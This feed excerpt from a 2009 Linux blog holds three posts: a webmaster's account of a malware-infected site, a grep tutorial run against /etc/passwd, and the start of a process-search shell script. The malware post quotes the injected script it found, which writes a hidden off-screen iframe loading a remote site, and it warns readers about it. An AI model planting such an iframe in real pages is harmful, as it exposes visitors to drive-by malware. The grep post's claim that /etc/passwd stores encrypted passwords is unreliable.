style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_K8Up6_JRdZk/SuV5cwWblVI/AAAAAAAAAzE/WDpnR2JXx2U/s400/malware.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
  A:link { so-language: zxx }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Last night was so weary !!, one site I worked with was attacked by malware and those who visited this site resulted hanging up their computer some lost their OS, even some says they lost their computer completely. Site owner called me and requested me to check the problem immediately. Tell you the truth, it was my first experience with malware attacks. &lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;I started google the problem, I came to know it is easy to know which files are infected when we added site into google&lt;span style="font-family: DejaVu Sans,sans-serif;"&gt;©&lt;/span&gt;  Webmaster Tools &lt;span style="font-size: x-small;"&gt;[&lt;a href="http://www.google.com/webmasters/tools/" target="_blank"&gt;link&lt;/a&gt;]&lt;/span&gt;. I did the same, when I completed the procedure, they asked me to add a meta tag in index page.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;I've opened index file using a text editor and added the tag in the place. Before I close I checked entire file and found a script after tag. It was not familiar to me, it was something like this:&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;lt; script &amp;gt;document . Write(‘&amp;lt; iframe src=“http : // erapost . net/? click =5 8 35265” width=100 height=100 style=“position:absolute;top:-10000;left:-10000;” &amp;gt;&amp;lt; /iframe &amp;gt;’);&amp;lt; /script &amp;gt;&amp;lt; table cellpadding =‘0’ cellspacing=‘0’ width=‘100%’ &amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="center" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;Please do not try this script: Really dangerous one.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="center" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Remove un-friendly scripts like above, and try check. Hope it will work.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;i&gt;&lt;u&gt;&lt;b&gt;SOME HELPFUL LINKS:&lt;/b&gt;&lt;/u&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt; STOPBADWARE &lt;span style="font-size: x-small;"&gt;[&lt;a href="http://www.stopbadware.org/"&gt;link&lt;/a&gt;]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt; &lt;span style="font-size: small;"&gt;WHITE FIR DESIGN&lt;/span&gt; [&lt;a href="http://www.whitefirdesign.com/services/web-design/website-malware-removal.html" target="_blank"&gt;link&lt;/a&gt;]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt; &lt;span style="font-size: small;"&gt;GOOGLE SAFE BROWSING&lt;/span&gt; [&lt;a href="http://www.google.com/safebrowsing/diagnostic?site=ubutrix.blogspot.com" target="_blank"&gt;link&lt;/a&gt;]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-8428478066199711620?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/o0OU6vzNgv3Pz1gbY0Q9y0xFkxY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/o0OU6vzNgv3Pz1gbY0Q9y0xFkxY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/o0OU6vzNgv3Pz1gbY0Q9y0xFkxY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/o0OU6vzNgv3Pz1gbY0Q9y0xFkxY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/069lCuuCAyU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/069lCuuCAyU/site-attacked-by-malwares.html</link><author>noreply@blogger.com (Anish)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_K8Up6_JRdZk/SuV5cwWblVI/AAAAAAAAAzE/WDpnR2JXx2U/s72-c/malware.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/10/site-attacked-by-malwares.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-610760116525357356</guid><pubDate>Fri, 09 Oct 2009 12:22:00 +0000</pubDate><atom:updated>2009-10-26T16:15:44.336+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">grep</category><category domain="http://www.blogger.com/atom/ns#">linux commands</category><category domain="http://www.blogger.com/atom/ns#">unix commands</category><category domain="http://www.blogger.com/atom/ns#">shell</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>Shells: What is grep</title><description>&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
  A:link { so-language: zxx }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;From my last post [ &lt;a href="http://ubutrix.blogspot.com/2009/10/shells-search-processes.html" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;link&lt;/span&gt;&lt;/a&gt; ], some of you may noted the use of &lt;b&gt;grep &lt;/b&gt;&lt;span style="font-weight: normal;"&gt;command, I used for process search. &lt;/span&gt;&lt;b&gt;grep &lt;/b&gt;&lt;span style="font-weight: normal;"&gt;is a Unix command that allows you to search for a pattern in a list of files [ &lt;/span&gt;&lt;a href="http://unixhelp.ed.ac.uk/CGI/man-cgi?grep" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;man Page&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-weight: normal;"&gt; ]. We are going to test usage with &lt;/span&gt;&lt;b&gt;/etc/passwd&lt;/b&gt;&lt;span style="font-weight: normal;"&gt; file.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;The passwd file is used for storing encrypted-passwords for the users. Without a passwd file no one can able to login again. So it is better to make a copy of it before we accidentally delete or edit the file, even we are not intended to do so.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;#cp /etc/passwd /etc/passwd.bck&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;Before start, just go and check how passwd file is looks like.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;#nano /etc/passwd&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;First we are going to check, whether  there is an entry for root user.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;#grep root /etc/passwd&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;root:x:0:0:root:/root:/bin/bash&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;check the existence of the user www-data with bin in the same line&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;#grep www-data /etc/passwd | grep bin &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;www-data:x:33:33:www-data:/var/www:/bin/sh&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;What if the list which not having the string  www-data, we are using -v for invert search, which is used to filter the result.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;#grep bin /etc/passwd | grep -v www-data&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;You will get a large list which obviously not having the entry &lt;/span&gt;&lt;i&gt;&lt;span style="font-weight: normal;"&gt;www-data&lt;/span&gt;&lt;/i&gt;&lt;span style="font-weight: normal;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;For higher level usage try the following:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;#grep "NAME$" INPUT_FILE &amp;gt; OUTPUT_FILE&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;example: &lt;/span&gt;&lt;i&gt;&lt;span style="font-weight: normal;"&gt;grep "riazali$" MyDataFile &amp;gt; MyResultsFile&lt;/span&gt;&lt;/i&gt;&lt;span style="font-weight: normal;"&gt;&lt;br /&gt;
&lt;br /&gt;
The '$' matches end-of-line.&lt;br /&gt;
&lt;br /&gt;
If you are using a variable, containing the name (in your shell script) , then:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;NAME="riazali"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;grep "$NAME$" INPUT_FILE &amp;gt; OUTPUT_FILE&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;pre&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-610760116525357356?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/8ODKfGVHgJ9MWlJoD4RqhvUpiVQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8ODKfGVHgJ9MWlJoD4RqhvUpiVQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/8ODKfGVHgJ9MWlJoD4RqhvUpiVQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8ODKfGVHgJ9MWlJoD4RqhvUpiVQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/m8cSRw0f_6c" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/m8cSRw0f_6c/shells-what-is-grep.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/10/shells-what-is-grep.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-1165329237702856436</guid><pubDate>Thu, 01 Oct 2009 07:23:00 +0000</pubDate><atom:updated>2009-10-09T17:53:24.594+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">linux commands</category><category domain="http://www.blogger.com/atom/ns#">unix commands</category><category domain="http://www.blogger.com/atom/ns#">shell</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>Shells: Search Processes</title><description>&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;b&gt;Motive:&lt;/b&gt; My aim is to check the process and also have the facility for search string and getting details about running services.&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;As I need to check it regularly, so I created a shell script for check that.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 1: Create a empty file named proc_search.sh and open it with a text-editor.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#touch proc_search.sh&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#nano proc_search.sh&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 2: Type the following code.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#!/bin/bash &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;STRING=$1 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;ps xauwww|grep -v "grep"|grep -v "local.bin.any" |grep -i $STRING&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Save and Close it&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
